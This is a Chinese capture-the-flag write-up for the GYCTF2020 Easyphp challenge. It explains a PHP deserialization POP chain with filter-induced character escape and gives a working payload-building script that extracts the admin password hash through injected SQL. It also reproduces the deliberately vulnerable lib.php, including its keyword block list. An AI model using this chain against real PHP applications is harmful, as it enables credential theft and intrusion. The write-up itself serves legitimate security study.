babyphp(反序列化pop链,字符逃逸)

题目在BBUCTF有复现,但代码里dbuser,dbpass,database有修改https://buuoj.cn/challenges#[GYCTF2020]Easyphp
扫描目录发现www.zip源码泄露,下载审计
在Update.php看到
babyphp(反序列化pop链,字符逃逸)_第1张图片
即登录成功就获取flag
看了下login.php,感觉登录框这里是做不了什么文章了
babyphp(反序列化pop链,字符逃逸)_第2张图片
主要的内容都是在lib.php
根据Update.php里的内容首先查看User类的update()函数
babyphp(反序列化pop链,字符逃逸)_第3张图片
猜测为反序列化漏洞,再看getNewInfo()函数
在这里插入图片描述
参数 a g e 和 age和 agenickname是用户可控的,Info对象序列化后经过safe()函数过滤返回给update()进行反序列化。
在这里插入图片描述
在数据已经序列化完成的情况下使用过滤函数将敏感词替换为hacker因此改变了序列化字符的长度,导致字符逃逸。
再转到InFo类
babyphp(反序列化pop链,字符逃逸)_第4张图片
有__Call()魔术方法,当调用一个对象中的不能用的方法的时候就回执行这个函数。这里__Call()魔术方法将dbCtrl类login()函数结果输出。
babyphp(反序列化pop链,字符逃逸)_第5张图片
这里就可以控制查询语句,把admin账户的密码查出来。
那关键就是触发这个__Call()魔术方法。发现User类有个__toString()魔术方法,其调用了update()方法。
在这里插入图片描述
恰好Info类没有update()方法,如果User内的$nickname实例化为Info对象,调用不存在的update()就会触发__Call()魔术方法。//__toString()魔术方法在把类当作字符串使用时触发,返回值需要为字符串

babyphp(反序列化pop链,字符逃逸)_第6张图片

UpdateHelper类的__destruct()可以打印出sql,当$sql = new User()时就会触发User类的__toString()魔术方法。

pop链的思路:利用UpdateHelper类__destruct()触发User类__toString(),利用Info类没有update()触发其__call(),把$this->CtrlCase实例化成dbCtrl对象,再调用dbCtrl类login(),通过控制查询语句,把admin账户的密码查出来。

构造脚本:


class User
   {
       public $id;
       public $age=null;
       public $nickname=null;
   }
   class Info
   {
       public $age;
       public $nickname;
       public $CtrlCase;
       public function __construct($age,$nickname){
           $this->age=$age;
           $this->nickname=$nickname;
       }   
   }
   class UpdateHelper
   {
       public $id;
       public $newinfo;
       public $sql;
   }
   class dbCtrl
   {
       public $hostname="127.0.0.1";
       public $dbuser="noob123";
       public $dbpass="noob123";
       public $database="noob123";
       public $name='admin';
       public $password;
       public $mysqli;
       public $token;
   }
   $d = new dbCtrl();
   $d->token='admin';
   $b = new Info('','1');
   $b->CtrlCase=$d;
   $a = new user();
   $a->nickname=$b;
   $a->age="select password,id from user where username=?";
   $c=new UpdateHelper();
   $c->sql=$a;

$c = '";s:8:"CtrlCase";' . serialize($c) . "}";
$length = strlen($c);
$c = str_repeat('union', $length).$c;    //一个union被替换成hacker后可以逃逸出一个字符,要是嫌弃union太多可以用’(替换后逃逸五个字符)加上union
echo($c);
?>

在update.php内post提交age=&nickname=加代码的输出结果,就会得到admin密码的md5值,cmd5解密后登录,得到flag
在这里插入图片描述babyphp(反序列化pop链,字符逃逸)_第7张图片

lib.php的源码


error_reporting(0);
session_start();
function safe($parm){
    $array= array('union','regexp','load','into','flag','file','insert',"'",'\\',"*","alter");
    return str_replace($array,'hacker',$parm);
}
class User
{
    public $id;
    public $age=null;
    public $nickname=null;
    public function login() {
        if(isset($_POST['username'])&&isset($_POST['password'])){
        $mysqli=new dbCtrl();
        $this->id=$mysqli->login('select id,password from user where username=?');
        if($this->id){
        $_SESSION['id']=$this->id;  
        $_SESSION['login']=1;
        echo "你的ID是".$_SESSION['id'];
        echo "你好!".$_SESSION['token'];
        echo "";
        return $this->id;
        }
    }
}
    public function update(){
        $Info=unserialize($this->getNewinfo());
        $age=$Info->age;
        $nickname=$Info->nickname;
        $updateAction=new UpdateHelper($_SESSION['id'],$Info,"update user SET age=$age,nickname=$nickname where id=".$_SESSION['id']);
        //这个功能还没有写完 先占坑
    }
    public function getNewInfo(){
        $age=$_POST['age'];
        $nickname=$_POST['nickname'];
        return safe(serialize(new Info($age,$nickname)));
    }
    public function __destruct(){
        return file_get_contents($this->nickname);//危
    }
    public function __toString()
    {
        $this->nickname->update($this->age);
        return "0-0";
    }
}
class Info{
    public $age;
    public $nickname;
    public $CtrlCase;
    public function __construct($age,$nickname){
        $this->age=$age;
        $this->nickname=$nickname;
    }   
    public function __call($name,$argument){
        echo $this->CtrlCase->login($argument[0]);
    }
}
Class UpdateHelper{
    public $id;
    public $newinfo;
    public $sql;
    public function __construct($newInfo,$sql){
        $newInfo=unserialize($newInfo);
        $upDate=new dbCtrl();
    }
    public function __destruct()
    {
        echo $this->sql;
    }
}
class dbCtrl
{
    public $hostname="127.0.0.1";
    public $dbuser="noob123";
    public $dbpass="noob123";
    public $database="noob123";
    public $name;
    public $password;
    public $mysqli;
    public $token;
    public function __construct()
    {
        $this->name=$_POST['username'];
        $this->password=$_POST['password'];
        $this->token=$_SESSION['token'];
    }
    public function login($sql)
    {
        $this->mysqli=new mysqli($this->hostname, $this->dbuser, $this->dbpass, $this->database);
        if ($this->mysqli->connect_error) {
            die("连接失败,错误:" . $this->mysqli->connect_error);
        }
        $result=$this->mysqli->prepare($sql);
        $result->bind_param('s', $this->name);
        $result->execute();
        $result->bind_result($idResult, $passwordResult);
        $result->fetch();
        $result->close();
        if ($this->token=='admin') {
            return $idResult;
        }
        if (!$idResult) {
            echo('用户不存在!');
            return false;
        }
        if (md5($this->password)!==$passwordResult) {
            echo('密码错误!');
            return false;
        }
        $_SESSION['token']=$this->name;
        return $idResult;
    }
    public function update($sql)
    {
        //还没来得及写
    }
}

你可能感兴趣的:(i春秋公益赛)